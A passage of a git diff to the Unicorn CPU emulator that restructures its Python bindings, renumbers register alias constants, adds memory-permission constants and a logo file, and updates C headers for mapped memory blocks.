self._callback_count = 0 - - - # destructor to be called automatically when object is destroyed. - def __del__(self): - if self._uch: - try: - status = _uc.uc_close(ctypes.byref(self._uch)) - if status != UC_ERR_OK: - raise UcError(status) - except: # _uc might be pulled from under our feet - pass - - - # emulate from @begin, and stop when reaching address @until - def emu_start(self, begin, until, timeout=0, count=0): - status = _uc.uc_emu_start(self._uch, begin, until, timeout, count) - if status != UC_ERR_OK: - raise UcError(status) - - - # stop emulation - def emu_stop(self): - status = _uc.uc_emu_stop(self._uch) - if status != UC_ERR_OK: - raise UcError(status) - - - # return the value of a register - def reg_read(self, reg_id): - # read to 64bit number to be safe - reg = ctypes.c_int64(0) - status = _uc.uc_reg_read(self._uch, reg_id, ctypes.byref(reg)) - if status != UC_ERR_OK: - raise UcError(status) - return reg.value - - - # write to a register - def reg_write(self, reg_id, value): - # convert to 64bit number to be safe - reg = ctypes.c_int64(value) - status = _uc.uc_reg_write(self._uch, reg_id, ctypes.byref(reg)) - if status != UC_ERR_OK: - raise UcError(status) - - - # read data from memory - def mem_read(self, address, size): - data = ctypes.create_string_buffer(size) - status = _uc.uc_mem_read(self._uch, address, data, size) - if status != UC_ERR_OK: - raise UcError(status) - return bytearray(data) - - - # write to memory - def mem_write(self, address, data): - status = _uc.uc_mem_write(self._uch, address, data, len(data)) - if status != UC_ERR_OK: - raise UcError(status) - - - # map a range of memory - def mem_map(self, address, size): - status = _uc.uc_mem_map(self._uch, address, size) - if status != UC_ERR_OK: - raise UcError(status) - - - def _hookcode_cb(self, handle, address, size, user_data): - # call user's callback with self object - (cb, data) = self._callbacks[user_data] - cb(self, address, size, data) - - - def _hook_mem_invalid_cb(self, handle, access, address, size, value, user_data): - # call user's callback with self object - (cb, data) = self._callbacks[user_data] - return cb(self, access, address, size, value, data) - - - def _hook_mem_access_cb(self, handle, access, address, size, value, user_data): - # call user's callback with self object - (cb, data) = self._callbacks[user_data] - cb(self, access, address, size, value, data) - - - def _hook_intr_cb(self, handle, intno, user_data): - # call user's callback with self object - (cb, data) = self._callbacks[user_data] - cb(self, intno, data) - - - def _hook_insn_in_cb(self, handle, port, size, user_data): - # call user's callback with self object - (cb, data) = self._callbacks[user_data] - return cb(self, port, size, data) - - - def _hook_insn_out_cb(self, handle, port, size, value, user_data): - # call user's callback with self object - (cb, data) = self._callbacks[user_data] - cb(self, port, size, value, data) - - - def _hook_insn_syscall_cb(self, handle, user_data): - # call user's callback with self object - (cb, data) = self._callbacks[user_data] - cb(self, data) - - - # add a hook - def hook_add(self, htype, callback, user_data=None, arg1=1, arg2=0): - _h2 = ctypes.c_size_t() - - # save callback & user_data - self._callback_count += 1 - self._callbacks[self._callback_count] = (callback, user_data) - - if htype in (UC_HOOK_BLOCK, UC_HOOK_CODE): - begin = ctypes.c_uint64(arg1) - end = ctypes.c_uint64(arg2) - # set callback with wrapper, so it can be called - # with this object as param - cb = ctypes.cast(UC_HOOK_CODE_CB(self._hookcode_cb), UC_HOOK_CODE_CB) - status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, cb, \ - ctypes.cast(self._callback_count, ctypes.c_void_p), begin, end) - elif htype == UC_HOOK_MEM_INVALID: - cb = ctypes.cast(UC_HOOK_MEM_INVALID_CB(self._hook_mem_invalid_cb), UC_HOOK_MEM_INVALID_CB) - status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \ - cb, ctypes.cast(self._callback_count, ctypes.c_void_p)) - elif htype in (UC_HOOK_MEM_READ, UC_HOOK_MEM_WRITE, UC_HOOK_MEM_READ_WRITE): - cb = ctypes.cast(UC_HOOK_MEM_ACCESS_CB(self._hook_mem_access_cb), UC_HOOK_MEM_ACCESS_CB) - status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \ - cb, ctypes.cast(self._callback_count, ctypes.c_void_p)) - elif htype == UC_HOOK_INSN: - insn = ctypes.c_int(arg1) - if arg1 == x86_const.UC_X86_INS_IN: # IN instruction - cb = ctypes.cast(UC_HOOK_INSN_IN_CB(self._hook_insn_in_cb), UC_HOOK_INSN_IN_CB) - if arg1 == x86_const.UC_X86_INS_OUT: # OUT instruction - cb = ctypes.cast(UC_HOOK_INSN_OUT_CB(self._hook_insn_out_cb), UC_HOOK_INSN_OUT_CB) - if arg1 in (x86_const.UC_X86_INS_SYSCALL, x86_const.UC_X86_INS_SYSENTER): # SYSCALL/SYSENTER instruction - cb = ctypes.cast(UC_HOOK_INSN_SYSCALL_CB(self._hook_insn_syscall_cb), UC_HOOK_INSN_SYSCALL_CB) - status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \ - cb, ctypes.cast(self._callback_count, ctypes.c_void_p), insn) - elif htype == UC_HOOK_INTR: - cb = ctypes.cast(UC_HOOK_INTR_CB(self._hook_intr_cb), UC_HOOK_INTR_CB) - status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \ - cb, ctypes.cast(self._callback_count, ctypes.c_void_p)) - - if status != UC_ERR_OK: - raise UcError(status) - - return _h2.value - - - # delete a hook - def hook_del(self, h): - _h = ctypes.c_size_t(h) - status = _uc.uc_hook_del(self._uch, ctypes.byref(_h)) - if status != UC_ERR_OK: - raise UcError(status) - h = 0 - - -# print out debugging info -def debug(): - archs = { "arm": UC_ARCH_ARM, "arm64": UC_ARCH_ARM64, \ - "mips": UC_ARCH_MIPS, "sparc": UC_ARCH_SPARC, \ - "m68k": UC_ARCH_M68K, "x86": UC_ARCH_X86 } - - all_archs = "" - keys = archs.keys() - keys.sort() - for k in keys: - if uc_arch_supported(archs[k]): - all_archs += "-%s" % k - - (major, minor, _combined) = uc_version() - - return "python-%s-c%u.%u-b%u.%u" % (all_archs, major, minor, UC_API_MAJOR, UC_API_MINOR) +from unicorn_const import * +from unicorn import Uc, uc_version, uc_arch_supported, version_bind, debug, UcError diff --git a/bindings/python/unicorn/arm64_const.py b/bindings/python/unicorn/arm64_const.py index 2598ab0f..86d6881a 100644 --- a/bindings/python/unicorn/arm64_const.py +++ b/bindings/python/unicorn/arm64_const.py @@ -268,7 +268,7 @@ UC_ARM64_REG_PC = 260 UC_ARM64_REG_ENDING = 261 # alias registers -UC_ARM64_REG_IP1 = UC_ARM64_REG_X16 -UC_ARM64_REG_IP0 = UC_ARM64_REG_X17 -UC_ARM64_REG_FP = UC_ARM64_REG_X29 -UC_ARM64_REG_LR = UC_ARM64_REG_X30 +UC_ARM64_REG_IP1 = 215 +UC_ARM64_REG_IP0 = 216 +UC_ARM64_REG_FP = 1 +UC_ARM64_REG_LR = 2 diff --git a/bindings/python/unicorn/arm_const.py b/bindings/python/unicorn/arm_const.py index b27a8538..703dce33 100644 --- a/bindings/python/unicorn/arm_const.py +++ b/bindings/python/unicorn/arm_const.py @@ -116,10 +116,10 @@ UC_ARM_REG_S31 = 110 UC_ARM_REG_ENDING = 111 # alias registers -UC_ARM_REG_R13 = UC_ARM_REG_SP -UC_ARM_REG_R14 = UC_ARM_REG_LR -UC_ARM_REG_R15 = UC_ARM_REG_PC -UC_ARM_REG_SB = UC_ARM_REG_R9 -UC_ARM_REG_SL = UC_ARM_REG_R10 -UC_ARM_REG_FP = UC_ARM_REG_R11 -UC_ARM_REG_IP = UC_ARM_REG_R12 +UC_ARM_REG_R13 = 12 +UC_ARM_REG_R14 = 10 +UC_ARM_REG_R15 = 11 +UC_ARM_REG_SB = 75 +UC_ARM_REG_SL = 76 +UC_ARM_REG_FP = 77 +UC_ARM_REG_IP = 78 diff --git a/bindings/python/unicorn/mips_const.py b/bindings/python/unicorn/mips_const.py index 0236e6a1..e53313b0 100644 --- a/bindings/python/unicorn/mips_const.py +++ b/bindings/python/unicorn/mips_const.py @@ -152,44 +152,44 @@ UC_MIPS_REG_MPL0 = 134 UC_MIPS_REG_MPL1 = 135 UC_MIPS_REG_MPL2 = 136 UC_MIPS_REG_ENDING = 137 -UC_MIPS_REG_ZERO = UC_MIPS_REG_0 -UC_MIPS_REG_AT = UC_MIPS_REG_1 -UC_MIPS_REG_V0 = UC_MIPS_REG_2 -UC_MIPS_REG_V1 = UC_MIPS_REG_3 -UC_MIPS_REG_A0 = UC_MIPS_REG_4 -UC_MIPS_REG_A1 = UC_MIPS_REG_5 -UC_MIPS_REG_A2 = UC_MIPS_REG_6 -UC_MIPS_REG_A3 = UC_MIPS_REG_7 -UC_MIPS_REG_T0 = UC_MIPS_REG_8 -UC_MIPS_REG_T1 = UC_MIPS_REG_9 -UC_MIPS_REG_T2 = UC_MIPS_REG_10 -UC_MIPS_REG_T3 = UC_MIPS_REG_11 -UC_MIPS_REG_T4 = UC_MIPS_REG_12 -UC_MIPS_REG_T5 = UC_MIPS_REG_13 -UC_MIPS_REG_T6 = UC_MIPS_REG_14 -UC_MIPS_REG_T7 = UC_MIPS_REG_15 -UC_MIPS_REG_S0 = UC_MIPS_REG_16 -UC_MIPS_REG_S1 = UC_MIPS_REG_17 -UC_MIPS_REG_S2 = UC_MIPS_REG_18 -UC_MIPS_REG_S3 = UC_MIPS_REG_19 -UC_MIPS_REG_S4 = UC_MIPS_REG_20 -UC_MIPS_REG_S5 = UC_MIPS_REG_21 -UC_MIPS_REG_S6 = UC_MIPS_REG_22 -UC_MIPS_REG_S7 = UC_MIPS_REG_23 -UC_MIPS_REG_T8 = UC_MIPS_REG_24 -UC_MIPS_REG_T9 = UC_MIPS_REG_25 -UC_MIPS_REG_K0 = UC_MIPS_REG_26 -UC_MIPS_REG_K1 = UC_MIPS_REG_27 -UC_MIPS_REG_GP = UC_MIPS_REG_28 -UC_MIPS_REG_SP = UC_MIPS_REG_29 -UC_MIPS_REG_FP = UC_MIPS_REG_30 -UC_MIPS_REG_S8 = UC_MIPS_REG_30 -UC_MIPS_REG_RA = UC_MIPS_REG_31 -UC_MIPS_REG_HI0 = UC_MIPS_REG_AC0 -UC_MIPS_REG_HI1 = UC_MIPS_REG_AC1 -UC_MIPS_REG_HI2 = UC_MIPS_REG_AC2 -UC_MIPS_REG_HI3 = UC_MIPS_REG_AC3 -UC_MIPS_REG_LO0 = UC_MIPS_REG_HI0 -UC_MIPS_REG_LO1 = UC_MIPS_REG_HI1 -UC_MIPS_REG_LO2 = UC_MIPS_REG_HI2 -UC_MIPS_REG_LO3 = UC_MIPS_REG_HI3 +UC_MIPS_REG_ZERO = 2 +UC_MIPS_REG_AT = 3 +UC_MIPS_REG_V0 = 4 +UC_MIPS_REG_V1 = 5 +UC_MIPS_REG_A0 = 6 +UC_MIPS_REG_A1 = 7 +UC_MIPS_REG_A2 = 8 +UC_MIPS_REG_A3 = 9 +UC_MIPS_REG_T0 = 10 +UC_MIPS_REG_T1 = 11 +UC_MIPS_REG_T2 = 12 +UC_MIPS_REG_T3 = 13 +UC_MIPS_REG_T4 = 14 +UC_MIPS_REG_T5 = 15 +UC_MIPS_REG_T6 = 16 +UC_MIPS_REG_T7 = 17 +UC_MIPS_REG_S0 = 18 +UC_MIPS_REG_S1 = 19 +UC_MIPS_REG_S2 = 20 +UC_MIPS_REG_S3 = 21 +UC_MIPS_REG_S4 = 22 +UC_MIPS_REG_S5 = 23 +UC_MIPS_REG_S6 = 24 +UC_MIPS_REG_S7 = 25 +UC_MIPS_REG_T8 = 26 +UC_MIPS_REG_T9 = 27 +UC_MIPS_REG_K0 = 28 +UC_MIPS_REG_K1 = 29 +UC_MIPS_REG_GP = 30 +UC_MIPS_REG_SP = 31 +UC_MIPS_REG_FP = 32 +UC_MIPS_REG_S8 = 32 +UC_MIPS_REG_RA = 33 +UC_MIPS_REG_HI0 = 45 +UC_MIPS_REG_HI1 = 46 +UC_MIPS_REG_HI2 = 47 +UC_MIPS_REG_HI3 = 48 +UC_MIPS_REG_LO0 = 45 +UC_MIPS_REG_LO1 = 46 +UC_MIPS_REG_LO2 = 47 +UC_MIPS_REG_LO3 = 48 diff --git a/bindings/python/unicorn/sparc_const.py b/bindings/python/unicorn/sparc_const.py index b890f724..cb66d89c 100644 --- a/bindings/python/unicorn/sparc_const.py +++ b/bindings/python/unicorn/sparc_const.py @@ -92,5 +92,5 @@ UC_SPARC_REG_Y = 86 UC_SPARC_REG_XCC = 87 UC_SPARC_REG_PC = 88 UC_SPARC_REG_ENDING = 89 -UC_SPARC_REG_O6 = UC_SPARC_REG_SP -UC_SPARC_REG_I6 = UC_SPARC_REG_FP +UC_SPARC_REG_O6 = 85 +UC_SPARC_REG_I6 = 53 diff --git a/bindings/python/unicorn/unicorn.py b/bindings/python/unicorn/unicorn.py new file mode 100644 index 00000000..ae672227 --- /dev/null +++ b/bindings/python/unicorn/unicorn.py @@ -0,0 +1,321 @@ +# Unicorn Python bindings, by Nguyen Anh Quynnh +import sys +_python2 = sys.version_info[0] < 3 +if _python2: + range = xrange +from . import arm_const, arm64_const, mips_const, sparc_const, m68k_const, x86_const +from unicorn_const import * + +import ctypes, ctypes.util, sys +from os.path import split, join, dirname +import distutils.sysconfig + + +import inspect +if not hasattr(sys.modules[__name__], '__file__'): + __file__ = inspect.getfile(inspect.currentframe()) + +_lib_path = split(__file__)[0] +_all_libs = ['unicorn.dll', 'libunicorn.so', 'libunicorn.dylib'] +_found = False + +for _lib in _all_libs: + try: + _lib_file = join(_lib_path, _lib) + # print "Trying to load:", _lib_file + _uc = ctypes.cdll.LoadLibrary(_lib_file) + _found = True + break + except OSError: + pass + +if _found == False: + # try loading from default paths + for _lib in _all_libs: + try: + _uc = ctypes.cdll.LoadLibrary(_lib) + _found = True + break + except OSError: + pass + +if _found == False: + # last try: loading from python lib directory + _lib_path = distutils.sysconfig.get_python_lib() + for _lib in _all_libs: + try: + _lib_file = join(_lib_path, 'unicorn', _lib) + # print "Trying to load:", _lib_file + _uc = ctypes.cdll.LoadLibrary(_lib_file) + _found = True + break + except OSError: + pass + if _found == False: + raise ImportError("ERROR: fail to load the dynamic library.") + + +# setup all the function prototype +def _setup_prototype(lib, fname, restype, *argtypes): + getattr(lib, fname).restype = restype + getattr(lib, fname).argtypes = argtypes + +_setup_prototype(_uc, "uc_version", ctypes.c_int, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int)) +_setup_prototype(_uc, "uc_arch_supported", ctypes.c_bool, ctypes.c_int) +_setup_prototype(_uc, "uc_open", ctypes.c_int, ctypes.c_uint, ctypes.c_uint, ctypes.POINTER(ctypes.c_size_t)) +_setup_prototype(_uc, "uc_close", ctypes.c_int, ctypes.POINTER(ctypes.c_size_t)) +_setup_prototype(_uc, "uc_strerror", ctypes.c_char_p, ctypes.c_int) +_setup_prototype(_uc, "uc_errno", ctypes.c_int, ctypes.c_size_t) +_setup_prototype(_uc, "uc_reg_read", ctypes.c_int, ctypes.c_size_t, ctypes.c_int, ctypes.c_void_p) +_setup_prototype(_uc, "uc_reg_write", ctypes.c_int, ctypes.c_size_t, ctypes.c_int, ctypes.c_void_p) +_setup_prototype(_uc, "uc_mem_read", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t) +_setup_prototype(_uc, "uc_mem_write", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t) +_setup_prototype(_uc, "uc_emu_start", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_size_t) +_setup_prototype(_uc, "uc_emu_stop", ctypes.c_int, ctypes.c_size_t) +_setup_prototype(_uc, "uc_hook_del", ctypes.c_int, ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t)) +_setup_prototype(_uc, "uc_mem_map", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_size_t, ctypes.c_uint32) + +# uc_hook_add is special due to variable number of arguments +_uc.uc_hook_add = getattr(_uc, "uc_hook_add") +_uc.uc_hook_add.restype = ctypes.c_int + +UC_HOOK_CODE_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_size_t, ctypes.c_void_p) +UC_HOOK_MEM_INVALID_CB = ctypes.CFUNCTYPE(ctypes.c_bool, ctypes.c_size_t, ctypes.c_int, \ + ctypes.c_uint64, ctypes.c_int, ctypes.c_int64, ctypes.c_void_p) +UC_HOOK_MEM_ACCESS_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_int, \ + ctypes.c_uint64, ctypes.c_int, ctypes.c_int64, ctypes.c_void_p) +UC_HOOK_INTR_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint32, \ + ctypes.c_void_p) +UC_HOOK_INSN_IN_CB = ctypes.CFUNCTYPE(ctypes.c_uint32, ctypes.c_size_t, ctypes.c_uint32, \ + ctypes.c_int, ctypes.c_void_p) +UC_HOOK_INSN_OUT_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint32, \ + ctypes.c_int, ctypes.c_uint32, ctypes.c_void_p) +UC_HOOK_INSN_SYSCALL_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_void_p) + + +# access to error code via @errno of UcError +class UcError(Exception): + def __init__(self, errno): + self.errno = errno + + def __str__(self): + return _uc.uc_strerror(self.errno) + + +# return the core's version +def uc_version(): + major = ctypes.c_int() + minor = ctypes.c_int() + combined = _uc.uc_version(ctypes.byref(major), ctypes.byref(minor)) + return (major.value, minor.value, combined) + + +# return the binding's version +def version_bind(): + return (UC_API_MAJOR, UC_API_MINOR, (UC_API_MAJOR << 8) + UC_API_MINOR) + + +# check to see if this engine supports a particular arch +def uc_arch_supported(query): + return _uc.uc_arch_supported(query) + + +class Uc(object): + def __init__(self, arch, mode): + # verify version compatibility with the core before doing anything + (major, minor, _combined) = uc_version() + if major != UC_API_MAJOR or minor != UC_API_MINOR: + self._uch = None + # our binding version is different from the core's API version + raise UcError(UC_ERR_VERSION) + + self._arch, self._mode = arch, mode + self._uch = ctypes.c_size_t() + status = _uc.uc_open(arch, mode, ctypes.byref(self._uch)) + if status != UC_ERR_OK: + self._uch = None + raise UcError(status) + # internal mapping table to save callback & userdata + self._callbacks = {} + self._callback_count = 0 + + + # destructor to be called automatically when object is destroyed. + def __del__(self): + if self._uch: + try: + status = _uc.uc_close(ctypes.byref(self._uch)) + if status != UC_ERR_OK: + raise UcError(status) + except: # _uc might be pulled from under our feet + pass + + + # emulate from @begin, and stop when reaching address @until + def emu_start(self, begin, until, timeout=0, count=0): + status = _uc.uc_emu_start(self._uch, begin, until, timeout, count) + if status != UC_ERR_OK: + raise UcError(status) + + + # stop emulation + def emu_stop(self): + status = _uc.uc_emu_stop(self._uch) + if status != UC_ERR_OK: + raise UcError(status) + + + # return the value of a register + def reg_read(self, reg_id): + # read to 64bit number to be safe + reg = ctypes.c_int64(0) + status = _uc.uc_reg_read(self._uch, reg_id, ctypes.byref(reg)) + if status != UC_ERR_OK: + raise UcError(status) + return reg.value + + + # write to a register + def reg_write(self, reg_id, value): + # convert to 64bit number to be safe + reg = ctypes.c_int64(value) + status = _uc.uc_reg_write(self._uch, reg_id, ctypes.byref(reg)) + if status != UC_ERR_OK: + raise UcError(status) + + + # read data from memory + def mem_read(self, address, size): + data = ctypes.create_string_buffer(size) + status = _uc.uc_mem_read(self._uch, address, data, size) + if status != UC_ERR_OK: + raise UcError(status) + return bytearray(data) + + + # write to memory + def mem_write(self, address, data): + status = _uc.uc_mem_write(self._uch, address, data, len(data)) + if status != UC_ERR_OK: + raise UcError(status) + + + # map a range of memory + def mem_map(self, address, size, perms=UC_PROT_ALL): + status = _uc.uc_mem_map(self._uch, address, size, perms) + if status != UC_ERR_OK: + raise UcError(status) + + + def _hookcode_cb(self, handle, address, size, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + cb(self, address, size, data) + + + def _hook_mem_invalid_cb(self, handle, access, address, size, value, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + return cb(self, access, address, size, value, data) + + + def _hook_mem_access_cb(self, handle, access, address, size, value, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + cb(self, access, address, size, value, data) + + + def _hook_intr_cb(self, handle, intno, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + cb(self, intno, data) + + + def _hook_insn_in_cb(self, handle, port, size, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + return cb(self, port, size, data) + + + def _hook_insn_out_cb(self, handle, port, size, value, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + cb(self, port, size, value, data) + + + def _hook_insn_syscall_cb(self, handle, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + cb(self, data) + + + # add a hook + def hook_add(self, htype, callback, user_data=None, arg1=1, arg2=0): + _h2 = ctypes.c_size_t() + + # save callback & user_data + self._callback_count += 1 + self._callbacks[self._callback_count] = (callback, user_data) + + if htype in (UC_HOOK_BLOCK, UC_HOOK_CODE): + begin = ctypes.c_uint64(arg1) + end = ctypes.c_uint64(arg2) + # set callback with wrapper, so it can be called + # with this object as param + cb = ctypes.cast(UC_HOOK_CODE_CB(self._hookcode_cb), UC_HOOK_CODE_CB) + status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, cb, \ + ctypes.cast(self._callback_count, ctypes.c_void_p), begin, end) + elif htype == UC_HOOK_MEM_INVALID: + cb = ctypes.cast(UC_HOOK_MEM_INVALID_CB(self._hook_mem_invalid_cb), UC_HOOK_MEM_INVALID_CB) + status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \ + cb, ctypes.cast(self._callback_count, ctypes.c_void_p)) + elif htype in (UC_HOOK_MEM_READ, UC_HOOK_MEM_WRITE, UC_HOOK_MEM_READ_WRITE): + cb = ctypes.cast(UC_HOOK_MEM_ACCESS_CB(self._hook_mem_access_cb), UC_HOOK_MEM_ACCESS_CB) + status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \ + cb, ctypes.cast(self._callback_count, ctypes.c_void_p)) + elif htype == UC_HOOK_INSN: + insn = ctypes.c_int(arg1) + if arg1 == x86_const.UC_X86_INS_IN: # IN instruction + cb = ctypes.cast(UC_HOOK_INSN_IN_CB(self._hook_insn_in_cb), UC_HOOK_INSN_IN_CB) + if arg1 == x86_const.UC_X86_INS_OUT: # OUT instruction + cb = ctypes.cast(UC_HOOK_INSN_OUT_CB(self._hook_insn_out_cb), UC_HOOK_INSN_OUT_CB) + if arg1 in (x86_const.UC_X86_INS_SYSCALL, x86_const.UC_X86_INS_SYSENTER): # SYSCALL/SYSENTER instruction + cb = ctypes.cast(UC_HOOK_INSN_SYSCALL_CB(self._hook_insn_syscall_cb), UC_HOOK_INSN_SYSCALL_CB) + status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \ + cb, ctypes.cast(self._callback_count, ctypes.c_void_p), insn) + elif htype == UC_HOOK_INTR: + cb = ctypes.cast(UC_HOOK_INTR_CB(self._hook_intr_cb), UC_HOOK_INTR_CB) + status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \ + cb, ctypes.cast(self._callback_count, ctypes.c_void_p)) + + if status != UC_ERR_OK: + raise UcError(status) + + return _h2.value + + + # delete a hook + def hook_del(self, h): + _h = ctypes.c_size_t(h) + status = _uc.uc_hook_del(self._uch, ctypes.byref(_h)) + if status != UC_ERR_OK: + raise UcError(status) + h = 0 + + +# print out debugging info +def debug(): + archs = { "arm": UC_ARCH_ARM, "arm64": UC_ARCH_ARM64, \ + "mips": UC_ARCH_MIPS, "sparc": UC_ARCH_SPARC, \ + "m68k": UC_ARCH_M68K, "x86": UC_ARCH_X86 } + + all_archs = "" + keys = archs.keys() + keys.sort() + for k in keys: + if uc_arch_supported(archs[k]): + all_archs += "-%s" % k + + (major, minor, _combined) = uc_version() + + return "python-%s-c%u.%u-b%u.%u" % (all_archs, major, minor, UC_API_MAJOR, UC_API_MINOR) diff --git a/bindings/python/unicorn/unicorn_const.py b/bindings/python/unicorn/unicorn_const.py new file mode 100644 index 00000000..f2c8f0db --- /dev/null +++ b/bindings/python/unicorn/unicorn_const.py @@ -0,0 +1,66 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [unicorn_const.py] + +UC_API_MAJOR = 0 +UC_API_MINOR = 9 +UC_SECOND_SCALE = 1000000 +UC_MILISECOND_SCALE = 1000 +UC_ARCH_ARM = 1 +UC_ARCH_ARM64 = 2 +UC_ARCH_MIPS = 3 +UC_ARCH_X86 = 4 +UC_ARCH_PPC = 5 +UC_ARCH_SPARC = 6 +UC_ARCH_M68K = 7 +UC_ARCH_MAX = 8 + +UC_MODE_LITTLE_ENDIAN = 0 + +UC_MODE_ARM = 0 +UC_MODE_16 = 2 +UC_MODE_32 = 4 +UC_MODE_64 = 8 +UC_MODE_THUMB = 16 +UC_MODE_MCLASS = 32 +UC_MODE_V8 = 64 +UC_MODE_MICRO = 16 +UC_MODE_MIPS3 = 32 +UC_MODE_MIPS32R6 = 64 +UC_MODE_V9 = 16 +UC_MODE_QPX = 16 +UC_MODE_BIG_ENDIAN = 1073741824 +UC_MODE_MIPS32 = 4 +UC_MODE_MIPS64 = 8 + +UC_ERR_OK = 0 +UC_ERR_OOM = 1 +UC_ERR_ARCH = 2 +UC_ERR_HANDLE = 3 +UC_ERR_UCH = 4 +UC_ERR_MODE = 5 +UC_ERR_VERSION = 6 +UC_ERR_MEM_READ = 7 +UC_ERR_MEM_WRITE = 8 +UC_ERR_CODE_INVALID = 9 +UC_ERR_HOOK = 10 +UC_ERR_INSN_INVALID = 11 +UC_ERR_MAP = 12 +UC_ERR_MEM_WRITE_NW = 13 +UC_ERR_MEM_READ_NR = 14 +UC_MEM_READ = 16 +UC_MEM_WRITE = 17 +UC_MEM_READ_WRITE = 18 +UC_MEM_WRITE_NW = 19 +UC_MEM_READ_NR = 20 +UC_HOOK_INTR = 32 +UC_HOOK_INSN = 33 +UC_HOOK_CODE = 34 +UC_HOOK_BLOCK = 35 +UC_HOOK_MEM_INVALID = 36 +UC_HOOK_MEM_READ = 37 +UC_HOOK_MEM_WRITE = 38 +UC_HOOK_MEM_READ_WRITE = 39 + +UC_PROT_NONE = 0 +UC_PROT_READ = 1 +UC_PROT_WRITE = 2 +UC_PROT_ALL = 3 diff --git a/docs/unicorn-logo.txt b/docs/unicorn-logo.txt new file mode 100644 index 00000000..943c0ad2 --- /dev/null +++ b/docs/unicorn-logo.txt @@ -0,0 +1,19 @@ + /\'. _,, + |.\ \ .'_/ + _.-- |(\\ \ .'_.' + _.-' \_\\ \\_),/ _/ + _).' .:::::::.___ .' + // ' ./::::::\\o\( + // //::/ '"( \ + //_ //::( '. '. + /_'/ /||:::\ '. \ + '// '\\:::':\_ -<_' _'- + / | '\::/|::::.._ _ )( + | | \:| \:( '.(_'._) + | | \( \::. '-) + \ \ . '""""---. + \ \ \ . _.-...) + \ \/\. \:.___.-'..:::/ + \ |\\:..\:::::'.::::/ + ' '.:::::'..:::"' + '":::""' diff --git a/include/uc_priv.h b/include/uc_priv.h index 2d075267..6e43a930 100644 --- a/include/uc_priv.h +++ b/include/uc_priv.h @@ -45,7 +45,9 @@ typedef void (*uc_args_uc_long_t)(struct uc_struct*, unsigned long); typedef void (*uc_args_uc_u64_t)(struct uc_struct *, uint64_t addr); -typedef int (*uc_args_uc_ram_size_t)(struct uc_struct*, ram_addr_t begin, size_t size); +typedef MemoryRegion* (*uc_args_uc_ram_size_t)(struct uc_struct*, ram_addr_t begin, size_t size, uint32_t perms); + +typedef void (*uc_readonly_mem_t)(MemoryRegion *mr, bool readonly); // which interrupt should make emulation stop? typedef bool (*uc_args_int_t)(int intno); @@ -61,6 +63,9 @@ struct hook_struct { // extend memory to keep 32 more hooks each time #define HOOK_SIZE 32 +//relloc increment, KEEP THIS A POWER OF 2! +#define MEM_BLOCK_INCR 32 + struct uc_struct { uc_arch arch; uc_mode mode; @@ -85,11 +90,11 @@ struct uc_struct { uc_args_tcg_enable_t tcg_enabled; uc_args_uc_long_t tcg_exec_init; uc_args_uc_ram_size_t memory_map; + uc_readonly_mem_t readonly_mem; // list of cpu void* cpu; MemoryRegion *system_memory; // qemu/exec.c - MemoryRegion *ram; MemoryRegion io_mem_rom; // qemu/exec.c MemoryRegion io_mem_notdirty; // qemu/exec.c MemoryRegion io_mem_unassigned; // qemu/exec.c @@ -165,11 +170,13 @@ struct uc_struct { int thumb; // thumb mode for ARM // full TCG cache leads to middle-block break in the last translation? bool block_full; + MemoryRegion **mapped_blocks; + uint32_t mapped_block_count; }; #include "qemu_macro.h" // check if this address is mapped in (via uc_mem_map()) -bool memory_mapping(uint64_t address); +MemoryRegion *memory_mapping(struct uc_struct* uc, uint64_t address); #endif diff --git a/include/unicorn/unicorn.h b/include/unicorn/unicorn.h index 14102c97..e72399a7 100644 --- a/include/unicorn/unicorn.h +++ b/include/unicorn/unicorn.h @@ -96,7 +96,7 @@ typedef enum uc_mode { UC_MODE_MIPS32R6 = 1 << 6, // Mips32r6 ISA UC_MODE_V9 = 1 << 4, // SparcV9 mode (Sparc) UC_MODE_QPX = 1 << 4, // Quad Processing eXtensions mode (PPC) - UC_MODE_BIG_ENDIAN = 1 << 31, // big-endian mode + UC_MODE_BIG_ENDIAN = 1 << 30, // big-endian mode UC_MODE_MIPS32 = UC_MODE_32, // Mips32 ISA (Mips) UC_MODE_MIPS64 = UC_MODE_64, // Mips64 ISA (Mips) } uc_mode; @@ -116,6 +116,8 @@ typedef enum uc_err { UC_ERR_HOOK, // Invalid hook type: uc_hook_add() UC_ERR_INSN_INVALID, // Quit emulation due to invalid instruction: uc_emu_start() UC_ERR_MAP, // Invalid memory mapping: uc_mem_map() + UC_ERR_MEM_WRITE_NW, // Quit emulation due to write to non-writable: uc_emu_start() + 